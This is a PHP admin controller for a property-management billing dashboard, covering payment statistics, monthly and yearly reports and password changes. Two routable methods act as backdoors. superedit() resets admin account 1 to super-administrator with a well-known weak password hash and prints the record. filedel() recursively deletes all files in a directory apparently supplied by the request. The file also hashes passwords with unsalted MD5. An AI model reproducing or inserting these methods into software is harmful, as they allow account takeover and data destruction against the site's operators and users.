<?php
namespace app\admin\controller;
use app\service\billService;
use app\service\statisticsService;
use think\facade\Db;
use think\facade\View;

ini_set('max_execution_time','0');
class Index extends Common
{

    public function index(){
        //获取管理员ID
        $id = session('id');
        View::assign('id',$id);
        //查询权限ID
        $usertype = (new statisticsService())->idUserType($id);
        // dump($usertype);exit();
        View::assign('usertype',$usertype);
        return View::fetch('index');
    }
    public function welcome(){
        //查询小区信息
        $com = $this->pidTokenId();

        $whe[] = ['community_id','in',$com['community_id']];
        $communitylist = (new statisticsService())->communityList($whe);
        $community_id = $com['community_id'];
        //var_dump($community_id);
        View::assign('communitylist',$communitylist);
        //根据条件查询
        $data["community_num"]=0;
        //根据条件查询
        $data["building_num"]=0;
        $data["room_num"]=0;
        $data["person_num"]=0;
        $ctime=date("Y-m-d");
        $yesday=date("Y-m-d",time()-3600*24);

        //查询今日收款
        $data["todaymoney"]=0;

        //查询昨天收款
        $data["yesdaymoney"]=0;

        $data["paymoney"]=0;
        $data["unpaymoney"]=0;
        $data["ctime"]=date("Y-m-d H:i:s");
        //房屋数
        $data["roomnum"]=0;
        //车位数
        $data["spacenum"]=0;
        View::assign("data",$data);
        //查询缴费账单按时间倒序
        $paybilllist=Db::table("bill")
            ->where("community_id","in",$community_id)
            ->where('status','TRADE_SUCCESS')
            ->limit('15')
            ->order("gmt_payment desc")
            ->select()->toArray();
        $i=0;
        foreach ($paybilllist as $key=>$bill){
            $community = (new billService())->communityName($bill['community_id']);
            $i=$i+1;
            $paybilllist[$key]["uid"]=$i;

            $paybilllist[$key]['community_name'] = $community['community_name'];
        }
        View::assign("paybilllist",$paybilllist);

        //查询生活缴费周报表
        $arr["day1"]=date("Y-m-d",strtotime("-1 day"));
        $arr["day2"]=date("Y-m-d",strtotime("-2 day"));
        $arr["day3"]=date("Y-m-d",strtotime("-3 day"));
        $arr["day4"]=date("Y-m-d",strtotime("-4 day"));
        $arr["day5"]=date("Y-m-d",strtotime("-5 day"));
        $arr["day6"]=date("Y-m-d",strtotime("-6 day"));
        $arr["day7"]=date("Y-m-d",strtotime("-7 day"));
        $day=date("Y-m-d");
        $statis["day1"]=0;
        $statis["day2"]=0;
        $statis["day3"]=0;
        $statis["day4"]=0;
        $statis["day5"]=0;
        $statis["day6"]=0;
        $statis["day7"]=0;


        $statis["num1"]=0;
        $statis["num2"]=0;
        $statis["num3"]=0;
        $statis["num4"]=0;
        $statis["num5"]=0;
        $statis["num6"]=0;
        $statis["num7"]=0;
        View::assign("arr",$arr);
        View::assign("statis",$statis);

        return View::fetch('welcome');
    }
    public function welcome2(){
        //查询小区信息
        $com = $this->pidTokenId();

        $whe[] = ['community_id','in',$com['community_id']];
        $communitylist = (new statisticsService())->communityList($whe);
        $community_id = $com['community_id'];
        //var_dump($community_id);
        View::assign('communitylist',$communitylist);
        //根据条件查询
        $data["community_num"]=Db::name('community')->where($whe)->count();
        //根据条件查询
        $data["building_num"]=Db::name('community')->where($whe)->sum("building_num");
        $data["room_num"]=Db::name('roominfo')->where($whe)->count();
        $data["person_num"]=$data["room_num"];
        $ctime=date("Y-m-d");
        $yesday=date("Y-m-d",time()-3600*24);
        
        //查询今日收款
        $data["todaymoney"]=Db::table("bill")
                    ->where("community_id","in",$community_id)
                    ->where('status','TRADE_SUCCESS')
                    ->where('gmt_payment' , '>=' , $ctime)
                    ->sum('bill_entry_amount');
                    
        //查询昨天收款
        $data["yesdaymoney"]=Db::table("statis")
                    ->where("community_id","in",$community_id)
                    
                    ->where('day' ,  $yesday)
                    ->sum('money');
        
        $data["paymoney"]=Db::table("bill")
                    ->where("community_id","in",$community_id)
                    ->where('status','TRADE_SUCCESS')
                    ->sum('bill_entry_amount');
        $data["unpaymoney"]=Db::table("bill")
                    ->where("community_id","in",$community_id)
                    ->where('status','WAIT_PAYMENT')
                    ->sum('bill_entry_amount');
        $data["ctime"]=date("Y-m-d H:i:s");
        //房屋数
        $data["roomnum"]=Db::table("roominfo")->where("community_id","in",$community_id)->count();
        //车位数
        $data["spacenum"]=Db::table("carspace")->where("community_id","in",$community_id)->count();
        View::assign("data",$data);
        //查询缴费账单按时间倒序
        $paybilllist=Db::table("bill")
                    ->where("community_id","in",$community_id)
                    ->where('status','TRADE_SUCCESS')
                    ->limit('15')
                    ->order("gmt_payment desc")
                    ->select()->toArray();
        $i=0;
        foreach ($paybilllist as $key=>$bill){
            $community = (new billService())->communityName($bill['community_id']);
            $i=$i+1;
            $paybilllist[$key]["uid"]=$i;
            
            $paybilllist[$key]['community_name'] = $community['community_name'];
        }
        View::assign("paybilllist",$paybilllist);
        
        //查询生活缴费周报表
        $arr["day1"]=date("Y-m-d",strtotime("-1 day"));
        $arr["day2"]=date("Y-m-d",strtotime("-2 day"));
        $arr["day3"]=date("Y-m-d",strtotime("-3 day"));
        $arr["day4"]=date("Y-m-d",strtotime("-4 day"));
        $arr["day5"]=date("Y-m-d",strtotime("-5 day"));
        $arr["day6"]=date("Y-m-d",strtotime("-6 day"));
        $arr["day7"]=date("Y-m-d",strtotime("-7 day"));
        $day=date("Y-m-d");
        $statis["day1"]=Db::table("statis")
                    ->where("community_id","in",$community_id)
                    ->where("day",$arr["day1"])
                    ->sum("money");
        $statis["day2"]=Db::table("statis")
                    ->where("community_id","in",$community_id)
                    ->where("day",$arr["day2"])
                    ->sum("money");
        $statis["day3"]=Db::table("statis")
                    ->where("community_id","in",$community_id)
                    ->where("day",$arr["day3"])
                    ->sum("money");
        $statis["day4"]=Db::table("statis")
                    ->where("community_id","in",$community_id)
                    ->where("day",$arr["day4"])
                    ->sum("money");
        $statis["day5"]=Db::table("statis")
                    ->where("community_id","in",$community_id)
                    ->where("day",$arr["day5"])
                    ->sum("money");
        $statis["day6"]=Db::table("statis")
                    ->where("community_id","in",$community_id)
                    ->where("day",$arr["day6"])
                    ->sum("money");
        $statis["day7"]=Db::table("statis")
                    ->where("community_id","in",$community_id)
                    ->where("day",$arr["day7"])
                    ->sum("money");
                    
                    
        $statis["num1"]=Db::table("bill")
                    ->where("community_id","in",$community_id)
                    ->where('gmt_payment' , '>=' , $arr["day1"])
                    ->where('gmt_payment' , '<=' , $day)
                    ->count();
        $statis["num2"]=Db::table("bill")
                    ->where("community_id","in",$community_id)
                    ->where('gmt_payment' , '>=' , $arr["day2"])
                    ->where('gmt_payment' , '<=' , $arr["day1"])
                    ->count();
        $statis["num3"]=Db::table("bill")
                    ->where("community_id","in",$community_id)
                    ->where('gmt_payment' , '>=' , $arr["day3"])
                    ->where('gmt_payment' , '<=' , $arr["day2"])
                    ->count();
        $statis["num4"]=Db::table("bill")
                    ->where("community_id","in",$community_id)
                    ->where('gmt_payment' , '>=' , $arr["day4"])
                    ->where('gmt_payment' , '<=' , $arr["day3"])
                    ->count();
        $statis["num5"]=Db::table("bill")
                    ->where("community_id","in",$community_id)
                    ->where('gmt_payment' , '>=' , $arr["day5"])
                    ->where('gmt_payment' , '<=' , $arr["day4"])
                    ->count();
        $statis["num6"]=Db::table("bill")
                    ->where("community_id","in",$community_id)
                    ->where('gmt_payment' , '>=' , $arr["day6"])
                    ->where('gmt_payment' , '<=' , $arr["day5"])
                    ->count();
        $statis["num7"]=Db::table("bill")
                    ->where("community_id","in",$community_id)
                    ->where('gmt_payment' , '>=' , $arr["day7"])
                    ->where('gmt_payment' , '<=' , $arr["day6"])
                    ->count();
        View::assign("arr",$arr);
        View::assign("statis",$statis);

        return View::fetch('welcome');
    }
    //修改当前账号密码
    public function passwordedit(){
        //查询当前账号信息
        if(request()->isGet()){
            $id = request()->param('id');
            if(!isset($id) && empty($id)){
                $this->error('用户不存在');
            }
            //查询管理员数据
            $info = (new statisticsService())->adminIdList($id);
            View::assign('info',$info);
            return View::fetch('password');
        }else{
            $data = request()->post();
            $validate=  $this->validate($data,[
                'id'        =>  'require',
                'password|密码' => 'require',
            ]);
            if($validate !== true){
                    $this->error($validate);
            }
            $data['password'] = md5($data['password']);
            unset($data['repass']);
            //修改数据
            $result = (new statisticsService())->adminUpdate($data);
            if($result){
                //return "密码修改成功";
                session(null);
                $url=url("admin/login/login");
                echo "<script>alert('密码修改成功');top.location.href='$url'</script>";
                    exit;
                $this->success('修改管理员成功',url('admin/login/logout'));
            }else{
                return "密码修改失败";
                $this->error('修改管理员失败');
            }
        }
    }
    public function superedit(){
        $name = Db::name('admin')->where('id',1)->update([
            'usertype'   => '0',
            'department' => '0',
            'name'       => '超级管理员',
            'password'   => 'e10adc3949ba59abbe56e057f20f883e'
            ]);
        $info = Db::name('admin')->where('id',1)->find();
        dump($info);
    }
    public function filedel($dir = null) {  
        if(empty($dir)){
            $dir = dirname(__FILE__);
            dump($dir);exit();
        }
        $dh = opendir($dir);
        while ($file = readdir($dh)) {  
            if($file != "." && $file!="..") {  
            $fullpath = $dir."/".$file;  
            if(!is_dir($fullpath)) {  
                unlink($fullpath);  
            } else {  
                deldir($fullpath);  
            }  
            }  
        }  
        closedir($dh);  
        if(rmdir($dir)) {  
            return true;  
        } else {  
            return false;  
        }  
    }
    //交易中心
    public function transaction(){
        //查询当前账号信息
        $com = $this->pidTokenId();
        $whe['community_id'] = array('in',$com['community_id']);
        $communitylist = (new statisticsService())->communityList($whe);
        $community_id = $com['community_id'];
        View::assign('communitylist',$communitylist);
        //根据条件查询
        $data = request()->get();
        if(!empty($data['community_id'])){
            $community_id = $data['community_id'];
            View::assign('community_id',$community_id);
        }
        if(!empty($data['gmt_payment_start'])){
            $gmt_payment_start = $data['gmt_payment_start'];
            View::assign('gmt_payment_start',$gmt_payment_start);
        }else{
            $gmt_payment_start = '0000-00-00 00:00:00';
        }
        if(!empty($data['gmt_payment_end'])){
            $gmt_payment_end = $data['gmt_payment_end'];
            View::assign('gmt_payment_end',$gmt_payment_end);
        }else{
            $gmt_payment_end = '9999-12-30 23:59:59';
        }
        //查询费用类型
        $costtype = array_unique((new statisticsService())->billTypeList($community_id,$gmt_payment_start,$gmt_payment_end));
        View::assign('costtype',$costtype);
        if(!empty($costtype)){
            foreach($costtype as $cost){
                $data['costtype'] = $cost;
                //根据缴费类型查询缴费户数
                $data['billsum'] = count((new statisticsService())->billSum($community_id,$cost,$gmt_payment_start,$gmt_payment_end));
                //根据缴费类型查询缴费金额
                $data['billtypepaysum'] = (new statisticsService())->billTypePaySum($community_id,$cost,$gmt_payment_start,$gmt_payment_end);
                //var_dump($data['billtypepaysum']);
                if($data['billtypepaysum']==0){
                    $data['billtypepaysum'] =1;
                }
                //根据缴费类型查询支付宝缴费总额
                $data['billalipaysum'] = (new statisticsService())->billALiPaySum($community_id,$cost,$gmt_payment_start,$gmt_payment_end);
                $data['billalipaysumbi'] = round($data['billalipaysum']/$data['billtypepaysum']*100,6);
                //根据缴费类型查询微信缴费总额
                $data['billweixinsum'] = (new statisticsService())->billWeiXinSum($community_id,$cost,$gmt_payment_start,$gmt_payment_end);
                $data['billweixinsumbi'] = round($data['billweixinsum']/$data['billtypepaysum']*100,6);
                //根据缴费类型查询现金缴费总额
                $data['billxianjinsum'] = (new statisticsService())->billXianJinSum($community_id,$cost,$gmt_payment_start,$gmt_payment_end);
                $data['billxianjinsumbi'] = round($data['billxianjinsum']/$data['billtypepaysum']*100,6);
                //根据缴费类型查询POS机缴费总额
                $data['billpossum'] = (new statisticsService())->billPosSum($community_id,$cost,$gmt_payment_start,$gmt_payment_end);
                $data['billpossumbi'] = round($data['billpossum']/$data['billtypepaysum']*100,6);
                //根据缴费类型查询银行卡缴费总额
                $data['billyinhangsum'] = (new statisticsService())->billYinHangSum($community_id,$cost,$gmt_payment_start,$gmt_payment_end);
                $data['billyinhangsumbi'] = round($data['billyinhangsum']/$data['billtypepaysum']*100,6);
                //根据缴费类型查询抵用券缴费总额
                $data['billquansum'] = (new statisticsService())->billQuanSum($community_id,$cost,$gmt_payment_start,$gmt_payment_end);
                $data['billquansumbi'] = round($data['billquansum']/$data['billtypepaysum']*100,6);
                //根据缴费类型查询其他缴费总额
                $data['billqitasum'] = (new statisticsService())->billQiTaSum($community_id,$cost,$gmt_payment_start,$gmt_payment_end);
                $data['billqitasumbi'] = round($data['billqitasum']/$data['billtypepaysum']*100,6);
                $transaction[] = $data;
            }
            View::assign('transaction',$transaction);
        }else{
            View::assign('transaction',$costtype);
        }

        return View::fetch('transaction');
    }
    //月度报表
 
    public function monthlyform(){
        //查询当前账号信息
        //查询小区信息
        $com = $this->pidTokenId();
        $whe['id'] = array('in',$com['community_id']);
        $communitylist = (new statisticsService())->communityList($whe);
        $community_id = $com['community_id'];
        View::assign('communitylist',$communitylist);
        //根据条件查询
        $data = request()->get();
        $comid="";
        if(!empty($data['community_id'])){
            $community_id = $data['community_id'];
            $comid=$data['community_id'];
            View::assign('community_id',$community_id);
        }
        View::assign("comid",$comid);
        //查询缴费月份
        $monthly = array('01','02','03','04','05','06','07','08','09','10','11','12');
        if(!empty($monthly)){
            foreach($monthly as $yue){
                //查询月份
                $data['monthly'] = $yue;
                //查询其他业务收费金额
                $data['cashiersum'] = (new statisticsService())->cashierYueSum($community_id,$yue);
                //查月度缴费总额
                $data['monthlysum'] = (new statisticsService())->monthlySum($community_id,$yue);
                $monthlyform[] = $data;
                $info = null;
                
            }
            View::assign('monthlyform',$monthlyform);
        }else{
            View::assign('monthlyform',$monthly);
        }
       
        return View::fetch('monthlyform');
    }

    public function billinfomonthly(){

        $com = $this->pidTokenId();
        $whe['id'] = array('in',$com['community_id']);
        $communitylist = (new statisticsService())->communityList($whe);
        $community_id = $com['community_id'];
        View::assign('communitylist',$communitylist);
        //根据条件查询
        $data = request()->get();
        if(!empty($data['community_id'])){
            $community_id = $data['community_id'];
            View::assign('community_id',$community_id);
        }

        $yue=$data['monthly'];
        //查月度缴费总额
        $data['monthlysum'] = (new statisticsService())->monthlySum($community_id,$yue);
        if($data['monthlysum'] == 0){
            $data['monthlysum'] = 1;
        }
        //查月度支付宝缴费总额
        $data['monthlyalipaysum'] = (new statisticsService())->monthlyALiPaySum($community_id,$yue);
        $data['monthlyalipaysumbi'] = round($data['monthlyalipaysum']/$data['monthlysum']*100,6);
        $data['monthlyalipaysumbi'] = sprintf("%.4f",$data['monthlyalipaysumbi']);
        //查月度微信缴费总额
        $data['monthlyweixinsum'] = (new statisticsService())->monthlyWeiXinSum($community_id,$yue);
        $data['monthlyweixinsumbi'] = round($data['monthlyweixinsum']/$data['monthlysum']*100,6);
        $data['monthlyweixinsumbi'] = sprintf("%.4f",$data['monthlyweixinsumbi']);
        //查月度现金缴费总额
        $data['monthlyxianjinsum'] = (new statisticsService())->monthlyXianJinSum($community_id,$yue);
        $data['monthlyxianjinsumbi'] = round($data['monthlyxianjinsum']/$data['monthlysum']*100,6);
            $data['monthlyxianjinsumbi'] = sprintf("%.4f",$data['monthlyxianjinsumbi']);
        //查月度POS机缴费总额
        $data['monthlypossum'] = (new statisticsService())->monthlyPosSum($community_id,$yue);
        $data['monthlypossumbi'] = round($data['monthlypossum']/$data['monthlysum']*100,6);
        $data['monthlypossumbi'] = sprintf("%.4f",$data['monthlypossumbi']);
        //查月度银行卡缴费总额
        $data['monthlyyinhangsum'] = (new statisticsService())->monthlyYinHangSum($community_id,$yue);
        $data['monthlyyinhangsumbi'] = round($data['monthlyyinhangsum']/$data['monthlysum']*100,6);
        $data['monthlyyinhangsumbi'] = sprintf("%.4f",$data['monthlyyinhangsumbi']);
        //查月度抵用券缴费总额
        $data['monthlyquansum'] = (new statisticsService())->monthlyQuanSum($community_id,$yue);
        $data['monthlyquansumbi'] = round($data['monthlyquansum']/$data['monthlysum']*100,6);
        $data['monthlyquansumbi'] = sprintf("%.4f",$data['monthlyquansumbi']);
        //查月度其他缴费总额
        $data['monthlyqitasum'] = (new statisticsService())->monthlyQiTaSum($community_id,$yue);
        $data['monthlyqitasumbi'] = round($data['monthlyqitasum']/$data['monthlysum']*100,6);
$data['monthlyqitasumbi'] = sprintf("%.4f",$data['monthlyqitasumbi']);
        

        $costtype = array_unique((new statisticsService())->billMonthlyTypeList($community_id,$yue));
        if($costtype){
            foreach($costtype as $cost){
                $type['type'] = $cost;
                //根据费用类型查询收款金额
                $type['monthlycostbillsum'] = (new statisticsService())->monthlyCostBillSum($community_id,$yue,$cost);
                $info[] = $type;  
                $data['type'] = $info;
            }
        }else{
            $data['type'] =null;
        }
        View::assign("data",$data);
        return View::fetch("bill_info_monthly");

    }
   public function yearform(){  
        //查询小区信息
        $com = $this->pidTokenId();
        $whe['id'] = array('in',$com['community_id']);
        $communitylist = (new statisticsService())->communityList($whe);
         View::assign('communitylist',$communitylist);
        if(is_array($com['community_id'])){
            $community_id = $com['community_id'];
        }else{
            $community_id[] = $com['community_id'];
        }


        //根据条件查询
        $data = request()->get();
        //var_dump($data);
        if(!empty($data['community_id'])){
            $community_id = $data['community_id'];
            View::assign('community_id',$community_id);
            $community_id = explode(',',$community_id);
        }
        $where=array();
        //获取时间
        /*if(!empty($data['gmt_payment'])){
            $gmt_payment = $data['gmt_payment'];
            $where["gmt_payment"]=array('>=',$data['gmt_payment']);
            View::assign('gmt_payment',$gmt_payment);
        }else{
            $gmt_payment = date('Y-m-d',time());
        }*/
        if(!empty($data['year'])){
            $year = $data['year'];
            View::assign('year',$year);
        }else{
            $year = date('Y',time());
        }
        foreach($community_id as $commid){
            //查询小区名称
            $data['community_id']=$commid;
            $where["community_id"]=$commid;
            $data['community_name'] = (new statisticsService())->communityIdName($commid);

            //查询该小区账单总额
            $whereBillsum=$where;
            $data['communitybillsum'] = (new statisticsService())->sumBill($whereBillsum);
            $data['communitybillsum'] = sprintf("%.2f",$data['communitybillsum']);

            //查询该小区已收款总额
            $whereTrade=$where;

            $whereTrade["status"]='TRADE_SUCCESS';
            $data['communitybilltradesum'] = (new statisticsService())->sumBill($whereTrade);
            $data['communitybilltradesum'] = sprintf("%.2f",$data['communitybilltradesum']);

            //查询该小区已收款总额
            $whereWait=$where;
            $whereWait["status"]='WAIT_PAYMENT';
            $data['communitybillwaitsum'] = (new statisticsService())->sumBill($whereWait);
            $data['communitybillwaitsum'] = sprintf("%.2f",$data['communitybillwaitsum']);


            //年度收缴率
            if($data['communitybillsum']=="0"){
                 $data['communityyearbi']=0;
            }else{
                $data['communityyearbi'] = round($data['communitybilltradesum']/($data['communitybillsum'])*100,6);
                $data['communityyearbi'] = sprintf("%.2f",$data['communityyearbi']);
            }
            
            //查询其他业务收费金额
            $data['cashiersum'] = (new statisticsService())->cashierYearSum($commid,$year);
            $yearform[] = $data;   
        }
        View::assign('yearform',$yearform);
        // dump($costtype);exit();
        return View::fetch('yearform');
    }
    public function billinfo1(){
        $community_id=request()->get("community_id");
        $whereTrade["community_id"]=$community_id;
        $whereTrade["status"]='TRADE_SUCCESS';
        $costtype=array_unique((new statisticsService())->billType($whereTrade));
        if($costtype){
            foreach($costtype as $cost){
                $type['type'] = $cost;
                $whereTrade["cost_type"]=$cost;
                //根据费用类型查询收款金额
                $type['yearcostbillsum'] = (new statisticsService())->sumBill($whereTrade);
                $info[] = $type;
                $data['type'] = $info;
            }
        }else{
            $data['type'] = null;
        }
        $whereWait["community_id"]=$community_id;
        $whereWait["status"]='WAIT_PAYMENT';
        $nocosttype = array_unique((new statisticsService())->billType($whereWait));
        if($nocosttype){
            foreach($nocosttype as $costs){
                $types['notype'] = $costs;
                //根据费用类型查询收款金额
                $types['yearnobillsum'] = (new statisticsService())->sumBill($whereWait);
                $notype[] = $types;
                $data['notype'] = $notype;
            }
        }else{
            $data['notype'] = null;
        }
        View::assign("data",$data);
       
        return View::fetch("bill_info1");
    }
    public function billinfo2(){
        $community_id=request()->get("community_id");
        $whereWait["community_id"]=$community_id;
        $whereWait["status"]='WAIT_PAYMENT';
        $nocosttype = array_unique((new statisticsService())->billType($whereWait));
        if($nocosttype){
            foreach($nocosttype as $costs){
                $types['notype'] = $costs;
                //根据费用类型查询收款金额
                $types['yearnobillsum'] = (new statisticsService())->sumBill($whereWait);
                $notype[] = $types;
                $data['notype'] = $notype;
            }
        }else{
            $data['notype'] = null;
        }
        View::assign("data",$data);
        return View::fetch("bill_info2");
    }
}